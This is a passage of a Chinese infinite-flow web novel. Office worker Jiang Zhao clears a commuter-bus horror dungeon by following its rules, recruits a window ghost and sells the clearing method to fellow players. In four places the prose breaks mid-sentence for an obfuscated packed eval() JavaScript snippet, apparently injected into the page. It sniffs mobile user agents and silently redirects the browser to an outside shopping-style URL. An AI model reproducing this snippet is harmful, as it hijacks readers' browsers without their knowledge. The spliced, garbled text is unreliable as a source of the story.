可谁知道,他刚伸出手,准备用手扇出点风吸引她看过来,就见姜照骤然扭头看来,嘴角还突兀地勾起一抹笑,直勾勾的眼神还自带一点空茫,吓得他递写字笔的手指一僵,浑身莫名打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372989|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个寒噤。 等姜照把思路理顺,终于回过神来,只看见男人一脸复杂地望着自己,神色里混杂着疑惑、警惕,还有一丝不易察觉的发怵。 她却没空多想,只当对方是同事之间的好心帮助,顺手接过他递来的笔,礼貌地点头致谢,心里默默盘算:等确定通关方式无误,再把关键信息告诉他,也算还了这份借笔的人情。 这么想着,姜照抬眼看向伦纳,轻轻努了努嘴,示意他帮忙:“帮我看看前、后、左三个方向的邻座下面,刻的字是不是都是‘天道酬勤’。” 说完,以防万一,她朝送笔男人的方向扬了扬头,又加了一句:“再帮我看看,那个男人座椅下方的文字是不是和我不一样。” 伦纳闻言,手腕优雅一转,一柄造型诡谲又精致的弧柄细剑凭空出现在他手中。 剑柄顶端嵌着一枚小巧的怀表,刻着一到十二罗马数字的条形古铜金色护手蜿蜒舒展,剑身中央开着一道细槽,内里嵌着可旋转的微型链条,随着伦纳的动作,轻轻发出细碎而清晰的滴答声,像一座行走的时钟。 他指尖轻叩剑身,护手上四枚罗马数字瞬间亮起,化作四只巴掌大小的袖珍小兔,耳朵上别着对应数字的小巧发卡。 它们抖了抖毛茸茸的长耳,三只立刻欢快地蹦进前、后、左三张座椅下方,剩下一只则大大方方跑到男人的座椅下,仰着头仔细查看。 不过片刻,四只小兔便一溜烟跑了回来。 先是一起亲昵地蹭了蹭姜照的裤脚,随后其中三只齐齐用力点了点小脑袋,示意前、后、左三处都刻着“天道酬勤”;剩下那只则严肃地摇了摇头,两只长耳还比出一个清晰的“×”,告诉姜照,男人座位下的文字和她说的天道酬勤并不相同。 确认信息完整传达后,四只小兔才化作点点微光,重新飞回剑身之中。 伦纳随手收剑,朝姜照俏皮地眨了眨眼,语气轻松:“确认过了,如你所想,周围三个座椅都刻着‘天道酬勤’,男人那边的则是‘迎难而上’。” 啊—— 好神奇的剑,居然还能“孵”出小兔子! 姜照内心疯狂尖叫,两眼亮晶晶地盯着伦纳,暗暗下定决心,等通关这个副本,一定要缠着伦纳把那柄剑拿出来,让她仔仔细细看个够。 心里美滋滋地盘算着,姜照转过身,动作干脆利落,零帧起手,一把捞起身旁副本里那位女同事NPC的胳膊。 指尖触到一片僵硬冰凉的触感,她却毫不在意,用力掰开对方紧紧攥成拳的手,在那泛着青白冷色的手心上,一笔一画、无比认真地写下一句话。 “请帮帮我,告诉我我们两个现在所在公司的全称。” 不知道这同事本身是好是坏,怕被副本NPC钻文字陷阱,姜照还默默加了几个限制条件,确保语义表述清晰,绝不留任何曲解的余地。 可几秒过去,掌心空空,没有任何回应。 姜照疑惑地歪了歪头,看向身旁一动不动的NPC,心里泛起一丝嘀咕:难道……是自己的方向猜错了? 就在这时,一道僵硬、呆板、毫无起伏的女声,一字一顿、轻飘飘地在她耳边响起:“你写得太快,我看不清。我耳朵不聋,听得见,你可以直接说话告诉我。” 8. 44路通勤专线 姜照眼角微挑,带着几分警惕和狐疑缓缓看向身旁的女同事,指尖下意识蜷了蜷。 她没有按照对方的示意贸然开口说话,只是继续将对方的手死死握住,用极慢的速度在略显冰凉的掌心一笔一划地写着:“可是《通勤专线乘坐指南》上面要求不能大声喧哗。” 她才不管什么能不能小声开口说话,反正写个字也不费力气,还不会违反规则,更何况她与眼前这位女同事素未谋面,根本摸不清对方的底细。 万一这人跟自己不一样,不受副本规则约束,故意用话套她、坑她,那自己连怎么死的都不知道。 谨慎、谨慎、再谨慎,才是她在这个无限劳动力市场副本里活下去的唯一依仗。 见姜照依旧固执又小心翼翼地在自己掌心比划,死活不发出任何一点声音,这位副本NPC女同事麻木空洞的脸上,终于隐约浮出一层难以掩饰的烦躁——这个新来的员工不好骗啊,看来自己这次的KPI是完不成了。 众所周知,在某些组织僵化的公司里,跟只会严格按照规章制度办事、规避风险的同事沟通,简直是在浪费生命。 这位副本女NPC同事显然也深谙此道理。 见姜照不上套,她也懒得再继续和这个新人打交道,跟这种人掰扯下去,纯粹是鸡同鸭讲,自讨苦吃。 她蠕动几下毫无血色的嘴唇,灰败的眼珠一动不动,语气麻木得像一台没有感情的播报机器:“全称叫天道酬勤原液有限公司。” 话音落下,她便想僵硬却用力地抽回自己的手,可无论怎么使劲,手腕都被姜照稳稳攥着,分毫不动。 事已至此,她不得不再次抬眼,看向这个死死钳制住自己的新同事,眼底已经带上了几分冰冷的不耐。 姜照全然无视那道如同刀子般扎过来的目光,反而仰起头,露出一抹格外灿烂无害的笑,指尖继续在对方掌心稳稳写道:“麻烦姐把公司全称的每一个字都正确地给我写一遍吧。” 礼貌的语气,强硬的态度。 很想让人打她一顿。 再次用力抽手,依旧以失败告终后,这位副本女NPC成功地把这位难缠的新同事拉入黑名单。 她最烦这种在上班路上都不让人安生、不仅毫无边界感、还不上钩不违规、没法给自己刷KPI的家伙! 尽管心里已经把姜照骂了千百遍,可为了不违反副本规则,也为了早点摆脱这个麻烦,副本女NPC还是耐着性子,乖乖地在姜照掌心一笔一划、清清楚楚地重新写了一遍公司全称。 拿到了自己想要的准确信息,姜照二话不说,立刻松开了对女NPC的钳制,转头就迅速掏出一直妥帖放在兜里的通勤车票,准备将完整的公司名称填写上去。 一番动作行云流水,生动形象地诠释了什么叫做用完就扔。 可紧接着,出乎意料的一幕发生了—— 这个车票就好像有什么特殊力量一样,刚写上去的字迹转眼就会被吸收得一干二净,没有任何痕迹。 姜照不死心地反复写了好几遍,可无论笔尖落下多少次,刚留下的墨迹都会被车票瞬间吸收干净,纸面光洁如初,连一点浅淡的印记都留不下。 一定是哪里出了问题。 姜照眉心微蹙,大脑飞速运转,将通勤专线的几条规则从头到尾快速梳理了一遍。 下一秒,她猛地反应过来自己究竟犯了什么错误——第四条规则:公司永远是职工的家,心怀敬畏,方能远行。 车票与公司息息相关,在上面书写公司名称,本就是与公司产生绑定的行为,而自己刚才只想着通关,并没有怀揣所谓的敬畏之心,难怪车票会拒绝留下字迹。 就在这时,冰冷的系统提示音再次响起: “恭喜职员姜照独立解明《通勤专线乘坐指南》全部规则隐藏内容,衍生技‘疯狂的时刑人’解锁进度:3/3。” 听着这三番两次的播报,姜照在心里默默翻了个白眼,感觉自己真的有被这家公司不要脸的规则操作无语到。 只有真正垃圾的公司才会自欺欺人地要求员工必须保持对公司的敬畏之心。 她嫌弃地撇了撇嘴,为了通关副本还是选择在心里疯狂自我洗脑,一边在心底虔诚默念“我爱天道酬勤原液有限公司,我爱天道酬勤原液有限公司……”,一边重新举起车票准备书写。 这一次,姜照甚至不需要动笔,在遵循规则、心怀敬畏的瞬间,车票上竟自动浮现出了一行清晰工整的黑色字体——天道酬勤原液有限公司。 有了完整的车票,姜照下意识抬头,看向车厢前方的到站时间显示屏,原本标注着“终点”的位置,已经悄然改变,清晰显示出“天道酬勤原液有限公司”七个字。 看着那条已经走完大半的鲜红进度条,她粗略估算,最多再过二十分钟,列车就会抵达终点,自己也就能顺利通关这个副本。 然而,姜照还没来得及好好享受一下即将通关的喜悦,就被紧随其后的系统提示音硬生生打断,让她再次瞬间无语。 “恭喜职员姜照成功解明44路通勤专线乘坐指南全部规则,成功拥有正规通勤车票,请其余职员向标杆职员姜照学习,再接再厉,完成通关。” 该死的无限劳动力市场,该死的系统提示音! 姜照在心底暗骂一声,这不是摆明了要告诉其余全部职员她已经有了通关方法,硬生生把她推到风口浪尖,逼她做众矢之的的出头鸟吗? 她都不敢想,要不是有第一条规则“车内请勿发生大声喧哗、吵架、嬉笑打闹等不文明行为”在这里摆着,她现在会被其他急于求生的职员怎么威逼利诱。 无视车厢里瞬间投来的几道灼热、探究、甚至带着恶意的目光,姜照深吸一口气压下心头的不安,手上动作飞快,将刚才总结出的通关方法简略写在之前那位男同事递来的布条上。 写完后,她坐直身体,朝一旁安静站着的伦纳轻轻勾了勾手指。 伦纳立刻顺从地弯腰靠近,姜照微微抬眼,对着他无声地做了一个口型:“想办法帮我把这个布条和笔还给那个男同事。” 可这一次,伦纳并没有像之前那样有求必应。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372990|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他狭长的眼眸微微眯起,原本温柔磁性的嗓音骤然压低了几分,裹着一丝难以察觉的阴郁,情绪晦涩难辨:“恕我不能理解,为什么您要帮助那位男人呢?是因为……您人美心善吗?” 姜照被车厢里这几道若有似无的视线搞得精神高度紧绷,整个人都处于疑神疑鬼的状态,生怕在这最后关头被人偷袭暗算,因此压根没有察觉到伦纳语气里的异样,只是随口解释道:“那倒不是,我只是不想欠人情,他之前告诉我线索,还借我笔,我帮他通关,仅此而已。” 说到这里,她还不忘认真嘱咐伦纳,生怕这位看起来和兔子一样温顺的下属太过单纯:“你记住,在这种生死攸关的无限流副本里,千万不要有圣母心。” 她顿了顿,觉得自己这样好像在教坏员工,又加了一句解释道:“当然,我不是说圣母心不对,而是你老板我本来就资质平平,当不了普度众生的救世主,我们就是个普通人,活下去就已经很难了,遇事优先保护自己,明哲保身就好,轻易别去招惹无关的人。” 一番话说得真诚无比,自我认知格外清晰。 得知姜照并不是因为什么特殊原因才去关照那个毫无用处的男人,伦纳眼底的阴沉瞬间散去,重新变回了那个温柔顺从的兔男郎。 他指尖轻动,召唤出一只印着罗马数字“Ⅰ”的小巧白兔,让它叼住布条与笔偷偷送去给男同事,还不忘回复姜照的叮嘱,语气温柔又虔诚:“请我亲爱的小爱丽丝放心,我的眼里从来只有您,除此之外的任何人、任何事,都与我无关。” 作为一个断情绝爱、母胎单身二十多年、一心只想搞钱、退休、活命的社畜,姜照完全没听出这句话里的暧昧与缱绻,只是偷偷朝伦纳竖起大拇指,十分满意地夸赞:“有你这样的员工,真是我的福气,等以后我发财了,一定给你把福利待遇拉满!” 说话的语气和神态,像极了一个只会给新入职员工画大饼的典型黑心老板。 而伦纳,就像一些刚踏入社会、对职场险恶一无所知的天真应届生一般,半点怀疑都没有,认认真真吃下了姜照随口抛出的大饼。 他眼底盛着细碎又真诚的光,语气温柔又虔诚:“我不需要任何身外之物,只要能一直陪在您身边,全心全意地为您效力,对我而言,就已经是莫大的荣幸了。” 一番话听得姜照心里一阵唏嘘,忍不住连连摇头。 虽然这番话确实说得她心花怒放,但她还是不得不说,她这位忠心又靠谱的员工,实在是太单纯了! 虽说自己绝对不会真的亏待他,他这么相信自己也没毛病,可像现在这样毫无防备地轻信别人,往后如果到了其他副本需要他单独出任务,遇上别有用心之人,指不定要被坑得多惨。 等顺利通关出去,她一定要找机会好好给伦纳上一课,给他讲讲人心有多复杂,职场有多险恶。 就在姜照微微出神,默默在心里盘算着该怎么给员工上第一堂“防坑职场教育课”时,没人留意到的后面车厢里,一道看起来并不起眼的绳索骤然破空,毫无征兆地朝着她袭来! 9. 44路通勤专线 原本正微微弯腰、凑在姜照耳边低声说话的伦纳,身形骤然一顿,唇角那抹漫不经心的笑意依旧未散,可眼底深处却极快地掠过一丝寒意。 他微微直起身,左手轻抬,那柄造型奇特的细剑便再次凭空出现在他的手里,剑锋轻扬,只听一声微不可查的轻响,那根暗中袭来的绳索便被轻而易举地斩断。 断裂的一截绳索立刻掉落在地上,发出一声几不可闻的沉闷落地声。 察觉到伦纳突如其来的动作,姜照这才后知后觉地反应过来,有人暗中从身后偷袭她。 原本就因为周围各色算计的眼神而微微紧绷的脸庞,瞬间染上一层薄怒。 自从进入这个诡异副本以来,她一直告诫自己,谨言慎行,不主动招惹任何人,可眼下偷袭自己的这位分明是主动找上门来的麻烦,还是见不得别人安稳的红眼病同事,她当然没有一味隐忍的道理。 姜照当即撑着座椅坐直身体,屈膝跪在座位上,转身朝后望去。 她飞快瞥了一眼身旁持剑而立的伦纳,嘴唇微动,无声地做了个口型:“是哪个不要脸的废物偷袭我?” 伦纳眼底全无笑意,手腕轻转,细剑的剑尖稳稳指向姜照身后隔了两个座位的中年男人。 那人长着一张极其憨厚老实的四方脸,眼角有些沟壑,看上去就像个随处可见的老好人。 如果不是刚才那根偷袭的绳索,单看这副面相,任谁也不会将他与背后暗下黑手的小人联系在一起。 此刻,因为看不到伦纳的存在,那中年男人正一脸难以置信地盯着自己手中只剩半截的绳索,满脸困惑,完全想不明白为什么姜照明明什么都没做,他精心准备的束缚绳索却会凭空断裂。 这绳索虽然只是个最低级的道具,但好歹也算是有点实际功能的,一旦绑住人就不会松开,怎么会这么简单又莫名其妙地断掉呢? 姜照才不管这位中年大叔怎么想,冷冷扫了他一眼,本着“有仇当场就报”的原则,已经开始在心底飞快盘算着该如何报复回去。 只是副本规则明确禁止车厢内出现喧哗、争吵、打架等一切不文明行为,她不敢让伦纳贸然动手,万一自己因此被判违规,还是为了这么一个败类的同事,实在是划不来。 就在姜照暗自发愁之际,眼角余光忽然瞥见一侧车窗上,之前一直默不作声的女鬼正朝她轻轻招手。 只是不知道为什么,这一次女鬼的身影格外模糊,淡得几乎要融进窗外的黑暗里。 她下意识眯起眼睛,微微探身朝那边的车窗望去。 另一边,那中年男人沉思几秒,终于遗憾接受自己的计划失败。 他也是在某次副本偶然得到的这根道具绳索,本想趁姜照不备,束缚住她。 在他看来,这小姑娘看着瘦瘦弱弱的,力气肯定不如他,行事风格也像个副本新人,只要将人控制住,他就能以“拉她离开座位”或者“制造噪音”为由进行威胁,逼她说出通关的方法。 谁料,计划赶不上变化。 绳索在半空中毫无征兆地断裂,还直接引起了姜照的警觉。 嗨呀,低级道具就是不中用啊! 中年男人在心里愤愤想着,面上却浑身紧绷,死死提防着姜照可能的突然发难。 可下一秒,他就看见姜照突然眼神疑惑地望向自己斜后方的车窗,心头不由得猛地一跳。 因为刚才失败的偷袭,他本能地认定,这是姜照故意用来转移他注意力的陷阱,以便趁他不备,反过来偷袭报复他。 可之前车厢里才发生过有人被后座副本NPC突袭的先例,男人越想越慌,生怕是自己无意间触犯了某条规则,导致身后也蛰伏着一个准备袭击自己的副本怪物,而姜照只是看破不说,故意做出这副模样,利用他不相信她的心理,引他上当,错过最好的自救时机。 心里越是疑神疑鬼,就越是觉得背后发凉。 男人越想越觉得,自己刚才的小动作,已经违反了副本第一条规则“车内请勿发生大声喧哗、吵架、嬉笑打闹等不文明行为,以免影响其他职工”。 在这种高强度的心理压力下,他终究没能忍住,鬼使神差地顺着姜照的目光朝后方车窗望去,刚瞥了一眼,就见右侧后方的一扇玻璃窗内,好像隐约有什么东西在缓缓蠕动。 男人心头一紧,心道果然有异,还好自己回头看了,随即立刻摆出一个防御的姿势,飞快眨了眨眼,想要看清那究竟是什么,以作防备。 就在这时,一道轻柔又诡异的女声贴着他耳畔缓缓响起,语调舒缓,带着一点不易察觉的蛊惑性,像是孩童入睡前的催眠曲:“睡吧,睡吧……就此沉浸在黑夜的梦乡里,忘掉所谓的工作吧……” 车厢里的其他市场职员,只看见姜照与那中年男人沉默对峙几秒,先后朝身后同一方向望去,紧接着,那男人便双眼一闭,身体一软,毫无征兆地瘫倒在座位上,不知是生是死。 杀人于无形。 一时间,车厢里众人看向姜照的目光骤然发生了变化。 原先那点针对即将通关玩家的隐秘算计,先是慢慢变为凝重的审视,到最后,尽数化作不敢轻举妄动的深深忌惮。 实际什么都没做的姜照心情微妙地挑了挑眉,望着车窗内那只女鬼完成杀人KPI后隐隐透着几分得意洋洋的模样,咂摸过味来——自己刚才是被这女鬼利用,当了一回引诱那男人上钩的诱饵。 她依旧面无表情地绷着脸,跪立在座椅上,不知道在想什么,看不出是喜是怒。 女鬼对这个愿意静静听自己发牢骚的小姑娘本就颇有好感,见她一言不发,只直勾勾地盯着自己,心里莫名生出一丝愧疚的感觉,连忙下意识解释:“哎呀,小姑娘,他本来就没安好心,想威胁你,我这也算帮你报仇了,至于这么一副苦大仇深的样子看着我吗?” 姜照闻言,无辜地眨了眨眼。 她刚才只是看重这只女鬼的能力,脑子里在盘算该怎么“撬墙角”拉拢过来。 此刻听见这话,她平静开口:“我没有苦大仇深,只是在想,能不能用那一次没用上的线索提问权,换姐你帮我一个忙?” 女鬼在这个D级副本里勤勤恳恳“打工”这么多年,送走的副本职员不计其数,却还是第一次遇见有人主动跑来求一只鬼帮忙的。 她心底忍不住感慨:果然,工作久了,什么离谱的人和事都能遇上。 换作旁人,她肯定干脆利落地拒绝。 可对象是姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372991|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照,她总莫名生出一种“同是社畜打工人,相逢何必曾相识”的惺惺相惜。 犹豫片刻,女鬼还是没忍心拒绝,心想着,看在姜照也算帮自己完成杀人KPI的份上,帮她一把算了。 她吞吞吐吐地开口:“你先说说看,想让我帮什么忙,我再考虑答不答应。” 就在这时,一道熟悉的系统提示音,再次在姜照脑海中响起: “恭喜职员姜照,激活「美丽的怪物」隐藏debuff效果(被动)——对副本怪物NPC具有一定吸引力。” 对副本怪物NPC具有一定吸引力? 姜照沉思几秒,结合对比其他人,女鬼对自己格外温和友善的态度来看,这隐藏效果很像某些游戏里NPC对玩家独有的好感度加成? 表面上看起来好像是对自己通关副本有利的效果,但是...... 姜照微微眯起眼,眼底掠过一丝冷意,职场摸爬滚打这几年,早就养成的抠字眼、防挖坑、绝不轻信表面利好的习惯,让她不得不注意起系统提示音说到的debuff。 如果这个效果真的对自己是利好作用的话,为什么会被定义成负面状态? 她抬眼瞥了一眼车厢上方的到站时间显示屏,鲜红的进度条还在不知疲倦地向前滚动,倒计时无声地压迫着所有人的神经。 眼下不是深究谜题的时候,姜照深吸一口气,将心头的疑虑强行压了下去。 先通关副本,其余的疑问,等活下来再慢慢细想。 她收回思绪,唇角轻轻一挑,再看向女鬼时,已经摆出了求人办事的专用微笑脸:“也不是什么大事,就是想借姐的意识沟通能力一用,帮我和其他几个跟我一样的职员,搭个线。” “你想干什么?”女鬼脸色瞬间沉了下来,立刻联想到姜照现在的处境,语气也带上了几分戒备,“你该不会是想把通关的方法,告诉其他人吧?” “小姑娘,这我可不能帮你!”她连忙摆手,语气坚决,“不是姐姐狠心,我要是帮你给别人递答案通关,那等同于作弊,完全违背我顶头上司给我下的任务命令,一旦被发现,我估计直接就是一道五雷轰顶,当场被开除掉。” 女鬼抬手在脖颈间狠狠一划,做了个干脆利落的抹脖子动作,坚定表达了自己强烈拒绝的意愿。 就在两人僵持的时候,伦纳的意识插入到两人的对话当中:“这个没关系。我的能力限制已经解除,可以保证,你在帮助我的小主人时,不会被上面那道意识察觉。” “怎么可能有这种技能?”女鬼满脸狐疑,上下打量着伦纳,明显不信,“别想蒙我,我可不是那么好骗的。” 倒是姜照闻言侧过头,探究地瞥了一眼身旁的伦纳,眼神好奇询问:你说的,是真的? 伦纳抖了抖长耳朵,眉梢一挑,自信颔首表示:这次肯定是真的,我绝不会欺骗您。 姜照心中了然,准备再给自家员工一个展示自己的机会,希望不要像之前研究座椅文字一样被通报违规就好。 她收回目光,转头看向依旧警惕的女鬼,语气平静,却抛出了一枚足以撼动对方所有坚持的重磅筹码。 “你帮我。”她一字一句,清晰开口,“我能带你,辞职。” 10. 44路通勤专列(完) 辞职。 一个当代所有被工作榨干的牛马打工人这辈子都拒绝不了的顶级诱惑。 在姜照心里,它虽略逊于退休,但足以和年终奖、双休、不加班相媲美,几个加起来还能上演一出“上班的诱惑”,都是天下所有苦命打工人渴望却不敢及的妄想。 世界那么大,谁不想去看看啊? 她嘴角勾起一抹笃定的笑意,胸有成竹地看着眼前女鬼脸上写满“你在逗我?”的震惊表情,自信开口道:“我的专属技能——镜中假面,能将你收为我的退休茶话会成员,只要你愿意,就能跳槽来我这,跟着我彻底离开这个副本。” 被困在这鬼地方熬了不知道多少年,还是无薪无休无社保的那种,女鬼早活成了宛如一条死鱼的副本老员工,这还是头一回有人说能带她跳槽跑路。 她整只鬼都懵了,眼神恍惚得像刚被老板画完大饼还没消化完,不敢置信地飘出一句:“……就、就这?这么简单?” “那必须不可能啊。”姜照主打一个真诚不套路,实话实说,“你当了我的退休茶话会成员,就得帮我打工通关副本,毕竟我要是在这副本里死了,你可能也得跟着我一起失业兼魂飞魄散,所以你可得想清楚啊姐!” “但是!打工人不骗打工人,你来我这,自由度绝对很高,虽然不知道我能撑过多少副本,但是我一定努力,争取让咱们早日退休。” 女鬼眼神茫然:“退休?” “对啊,退休!拿着退休金,什么都不用干,美美享受生活,这不好吗?” 画完大饼,她没等女鬼反应过来,“啪”地一指车厢里闪着红光的到站显示屏:“不过,姐,你得快点做决定,为了确保这群人听完我的通关办法还有操作时间,我最多给你十秒钟考虑。” 不等姜照开始倒计时,女鬼当场拍板,声音斩钉截铁:“不用数了!我跟你混!” “在这破副本里打工打到鬼到中年,五险一金没有,双休、假期更没有,工作环境还恶劣,天天就是守着这个破车和这片破荒地上夜班,这么多年,连外面长啥样都不知道,我早就不想干了!” 姜照听着女鬼的抱怨、发泄,深以为然地点点头。 上班辛苦不算最可怕的,真正让人崩溃的是这种苦命的日子一眼望不到头,纯属精神加□□双重折磨,熬着久了,不论是人是鬼,精神状态肯定都会出现问题的! 女鬼说着,又猛地抬头,四十五度角深沉凝望车窗里一片漆黑的阴间风景,语气沧桑又热血:“鬼的一生,总得为自己活一次啊!我只知道树和草是什么样子,还没见过你们这些人说的那种五颜六色的花呢!” Yes!又成功忽悠——啊不是,招聘到一位优秀员工! 要不是副本禁止大声喧哗,姜照真想当场高歌跑调一曲《好运来》,以表激动,庆祝自己又喜提打工人一位。 她拼命把快要咧到耳朵根的嘴角往回扯,表面装得淡定无比:“成交!你说的花,等出去了我带你看个够!” 下一秒,一张带着牛皮纸质感的入职offer凭空出现在姜照面前。 她手速很快地摁上自己的手印,纸唰一下消失,又莫名其妙出现在车窗里女鬼的手上。 姜照认真解释:“这是自动生成的入职offer,也相当于劳动合同,因为咱们的绑定关系很简单,所以合约内容一目了然,我这边签完了,你收好,我出副本之前签上就行。” 女鬼眉梢一挑,那张常年阴气沉沉、活像被老板骂了八百遍的脸,终于露出了见面以来第一个真心的笑容。 她宝贝似的捧着那张纸,美滋滋地按照姜照的要求,给几个人开了意识群聊。 “几位,我知道你们听到我的声音会有些震惊,记住不要发出声音,用意识和我交流,不然会违反规则。” 姜照扫了一圈车厢里剩下四个通关副本同事,看着他们有些僵硬的惊吓表情,也不给他们缓冲机会,快语速开口:“长话短说,我有通关方法,但是有偿,且概不赊账。” 说完,她转头看向那个已经偷偷拿到写有通关办法布条的男人,问道:“我刚来,不太清楚这里的规则,你们这里的通用货币是什么?支持线上转账吗?有什么转账方式吗?” 男人闻言,连忙点头:“有有有!通关副本过后给的积分就是通用货币,至于转账,把你手上的员工工号告诉我们就行,我们可以根据你的工号进行转账。” “行,那这边的物价怎么样,像通关现在这种副本,大概会给多少积分?”姜照倒也不打算狮子大开口,权当做点小本买卖,搞个小副业,赚点团队启动资金。 “这个副本只是D级副本,最后结算的积分视副本破解度有高有低,大概在8-15分左右。”男人怕姜照觉得少,举起手做发誓状,“无限劳动力市场作证,我真的没有骗你,低级副本通关难度相对较低,结算给的积分也少。” 姜照无所谓,本来也只是赚点外快,没想着怀疑男人这番说辞:“行,一口价3积分,买通关方法,时间不多了,赶紧做决定,不然我不保证你们还有时间能通关。” 说完,她又指了指那个男人:“至于你,你就不用给了,我给你通关方法是因为你也给我提供了通关线索,现在我们连个互不相欠了。” 话音刚落,前排一个气质干练、一看就是职场精英的短发女人就举起手,毫不犹豫道:“你的工号给我。” 速度快的姜照都惊了一下,她原本以为这帮人得犹豫半天,没想到还有这么爽快的客户:“TX6388。” 每个人只能看自己的员工专用系统信息显示屏,姜照只见女人手指在空中划拉两下,就抬头看向自己道:“好了,3积分转过去了,通关方法给我。” 与此同时,姜照耳边响起系统提示:【已收到职员“OP5749”转账:3积分】。 “妥了。”姜照立刻让女鬼给她和短发女人拉了个私聊空间,简单总结,“心里默念我爱公司、公司万岁,带着敬畏心去摸椅子底下的字,就不会死。你邻座的人大概率是你的公司同事,不放心的话就摸一下他椅子,字一样就是一个公司的。” “确定好谁是你的同事后,保险起见在他手心写字,询问你们两个现在所在公司的全称,并让他手写出来。” “最后,再手持车票,继续心怀对公司的敬畏,车票上就会显现出公司名称,然后等车到站,下车通关就好。” 短发女人其实自己也摸索出来一些规则,只是因为先前有人因为触摸座椅直接惨死,她才没敢进一步确定,如今根据姜照所说的,也想明白了几条规则的隐藏内容,当即不再耽误时间,很快按照姜照的方法开始通关。 剩下俩人一看,好家伙,那两个拿到通关办法的人都开始行动了,也没有出事,终于坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372992|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住,赶紧一起喊:“工号!我们也要转!” 姜照也豪爽,一手交钱,一手交货,诚实买卖。 等转完积分、拿到方法,两人也立刻加入通关大队。 终于实现共同通关、解除被其余人算计的警报,姜照松了口气,刚瘫回硬邦邦的椅子上准备摸鱼等下班,就看到系统提示自己接到了三条转账消息。 她愣了一下,立刻反应过来——是那个男人,偷偷给自己也转了积分。 姜照回头一看,男人刚放下车票,一脸解脱,明显已经拿到正确车票,就等下车通关副本了。 察觉到她的目光,男人看过来,随即挠挠头,笑得憨厚又老实,低头在布条上写了一行字递过来:“你救了我命,还白给我方法,我也没提供啥有用的线索,不给你转账我良心过意不去!” 姜照看着那行字,没再推辞,笑着冲他点点头,转回身靠在椅子上,看了一眼不停移动的红色进度条,安心闭目养神,等着通关副本,准点下班。 就在这时,她的耳边忽然飘来一阵熟悉的碎碎念:“小姑娘,你的劳动合同我签完了,签完那张纸就直接消失了,接下来我还需要做什么吗?” 姜照微微眯眼,抬手调出自身的技能信息面板,几行文字清晰浮现: 【退休茶话会成员:伦纳 固有技能:疯狂的时刑人 身份信息:? 组合技:红心皇后的处刑】 【退休茶话会成员:陈淑兰 身份信息:窗中鬼(44路通勤专列) 组合技:于此安眠】 “姐,不用再做别的了,等我通关副本,咱们就能一起离开这里。”姜照随口应道,目光却牢牢锁在伦纳身份信息后的问号上,眼底悄然掠过一丝探究。 她侧头瞥了眼自从自己说要招收女鬼后,就蹲在一旁闷闷不乐的伦纳,先前安抚下属的心思瞬间淡了下去—— 这人身份藏得这么深,该不会是无限劳动力市场这狗公司安插过来的卧底吧? 【专车已到站:迎难而上原液有限公司,请公司员工自后门检票下车。】 …… 【专车已到站:敢为人先原液有限公司,请公司员工自后门检票下车。】 …… 【专车已到站:天道酬勤原液有限公司,请公司员工自后门检票下车。】 姜照看着其他职员一个接一个下车,终于轮到自己时,眼睛亮了亮,心情颇好,连忙混在人流中走下车—— 别人上班我下班,美滋滋! 下车后,她连忙给其他下车上班的人让路,避开人流安稳站在一旁的土路上后,才下意识抬眼望去,一座略显破旧的工厂赫然矗立在眼前。 天色仍暗,她只能借着蒙蒙微光,看清工厂大门上方悬挂的“天道酬勤原液有限公司”招牌。 还没来得及仔细打量,一道提示音骤然响起: “恭喜职员姜照,成功通关D级副本:44路通勤专列。” 下一秒,她便被直接传送至一座金碧辉煌的大厅之中。 【副本结算中……】 【副本破解度100%,副本死亡人数2人,难度评级较低,获得积分奖励:15分。】 【经核查,职员姜照雇佣副本关键怪物“窗中鬼”,致使“44路通勤专列”副本怪物配置不足,扣除积分5分。】 11. 副本休息区 看到副本结算面板上最后那一行刺眼的文字,好不容易拼命赚了点积分的姜照彻底怒了。 她万万没想到自己严格按照技能说明,规规矩矩完成合法招聘,到头来居然还要平白背这么一口黑锅。 